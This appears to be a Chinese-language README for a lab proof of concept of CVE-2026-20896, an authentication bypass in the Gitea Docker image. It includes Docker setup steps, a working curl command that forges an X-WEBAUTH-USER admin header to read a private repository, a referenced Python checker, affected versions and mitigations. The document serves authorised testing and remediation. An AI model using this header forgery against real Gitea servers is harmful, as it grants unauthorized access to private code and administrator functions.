
已更新Aug 7, 2026
CVE-2026-20896 — 已更新!
Gitea Docker 镜像认证绕过
CVE-2026-20896:Gitea Docker 镜像认证绕过 PoC
[!WARNING] 仅在本地实验室或针对您明确获得授权测试的系统上使用此 PoC。
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
概述
CVE-2026-20896 是受影响官方 Gitea Docker 镜像中的认证绕过漏洞。当启用反向代理认证时,镜像生成的 REVERSE_PROXY_TRUSTED_PROXIES = * 设置允许能够访问 Gitea 后端的客户端通过 X-WEBAUTH-USER 请求头冒充现有用户。
该实验环境创建了一个名为 gitea-admin 的管理员账户(使用随机密码),并将 CVE-2026-20896_AUTH_BYPASS_CONFIRMED 存储在私有仓库 gitea-admin/private-proof 中。在不知道随机管理员密码的情况下读取该文件即可证明绕过漏洞的存在。
受影响版本
| 类别 | 版本 |
|---|---|
| 存在漏洞 | 官方 gitea/gitea Docker 镜像 ≤ 1.26.2 |
| 首次修复 | 1.26.3 |
| 推荐版本 | 1.26.4 或更高版本 |
存在漏洞的配置要求启用反向代理认证,并且 Gitea 后端可直接访问,或上游代理保留攻击者提供的身份请求头。此本地复现不需要反向代理容器。
环境搭建
# 构建
docker build -t cve-2026-20896-gitea-vuln .
# 运行
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
等待几秒钟,让 Gitea 和私有证明仓库完成初始化。
PoC
cURL
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
成功利用将返回 CVE-2026-20896_AUTH_BYPASS_CONFIRMED。
Python
python poc.py http://127.0.0.1:3000
该脚本会比较未认证、非管理员和伪造管理员请求,并在确认授权绕过时输出 VULNERABLE。它需要 Python 3.10 或更高版本,且仅使用标准库。
影响
- 冒充已知或可猜测的 Gitea 用户
- 未经授权访问私有仓库和用户资源
- 冒充管理员账户时执行管理操作
缓解措施
- 升级到 Gitea 1.26.3 或更高版本;推荐使用 1.26.4 或更高版本。
- 将
REVERSE_PROXY_TRUSTED_PROXIES限制为受信任的代理地址。 - 阻止直接访问 Gitea 后端,并覆盖外部提供的身份请求头。
- 在不需要时禁用反向代理认证。
清理
docker stop cve-2026-20896-gitea-vuln